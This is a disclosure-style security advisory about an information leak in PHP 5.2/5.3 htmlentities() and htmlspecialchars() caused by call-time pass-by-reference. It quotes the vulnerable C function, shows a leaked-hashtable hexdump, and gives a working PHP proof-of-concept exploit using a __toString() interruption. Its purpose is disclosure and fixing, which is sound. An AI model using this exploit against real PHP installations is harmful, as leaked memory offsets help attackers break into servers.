MOPS-2010-036: PHP htmlentities() and htmlspecialchars() Interruption Information Leak Vulnerability

May 21st, 2010

PHP's htmlentities() and htmlspecialchars() functions can be abused for information leak attacks, because of the call time pass by reference feature.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser's talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. Some of these vulnerabilties are only exploitable because of the call time pass by reference feature in PHP.

After the talk the PHP developers tried to remove the offending call time pass by reference feature but failed. The feature was only partially removed which means several exploits developed last year still worked the same after the fixes or just had to be slightly rewritten. One of these exploits exploits the htmlentities() or htmlspecialchars() functions.

```
static void php_html_entities(INTERNAL_FUNCTION_PARAMETERS, int all)
{
   char *str, *hint_charset = NULL;
   int str_len, hint_charset_len = 0;
   int len;
   long quote_style = ENT_COMPAT;
   char *replaced;
   zend_bool double_encode = 1;

   if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|ls!b", &str, &str_len, &quote_
      return;
   }

   replaced = php_escape_html_entities_ex(str, str_len, &len, all, quote_style, hint_charset, double_e
   RETVAL_STRINGL(replaced, len, 0);
}
```

What happens here is that zend_parse_parameters() retrieves the four arguments into local variables, which destroys the connection to the original ZVAL. The problem is that the string pointers will point to the exactly same strings as the original string ZVALs without any kind of reference. If the original string ZVALs get modified this will result in the string pointers being invalid, pointing to already freed and reused memory. And an interruption attack is very easy in this case because zend_parse_parameters() supports the __toString() method of objects. An attacker just needs to pass an object as 3rd parameter to htmlentities()/htmlspecialchars(). From the __toString() method an attacker can then kill the first argument due to the call time pass by reference feature of PHP and reuse it e.g. for a hashtable. This results in php_escape_html_entities_ex() working on memory of a hashtable instead of a string, which lets the attacker leak important internal memory offsets.

Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and leak a PHP hashtable. The hexdump of a hashtable looks like this.

```
Hexdump
-------
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41   ............AAAA
00000010: 00 00 00 00 00 00 00 00 F0 F2 B4 00 01 00 00 00   ................
00000020: F0 F2 B4 00 01 00 00 00 F0 F2 B4 00 01 00 00 00   ................
00000030: D0 0A B5 00 01 00 00 00 74 43 30 00 01 00 00 00   ........tC0.....
00000040: 00 00 01 -- -- -- -- -- -- -- -- -- -- -- -- --   ...
```

The following code tries to detect if it is running on a 32 bit or 64 bit system and adjust accordingly. Note that the method used here does not work on 64 bit Windows.

```
<?php
class dummy
{
   function __toString()
   {
      /* now the magic */
      parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
      return "";
   }
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
   $GLOBALS['var'] = str_repeat("A", 39);
} else {
   $GLOBALS['var'] = str_repeat("A", 67);
}

/* Trigger the Code */
$x = html_entity_decode(htmlentities(&$GLOBALS['var'], 0, new dummy()), 0, "iso-8859-1");
hexdump($x);

/* Helper function */
function hexdump($x)
{
   $l = strlen($x);
   $p = 0;

   echo "Hexdump\n";
```

Notes

We strongly recommend to fix this vulnerability by removing the call time pass by reference feature for internal functions correctly this time.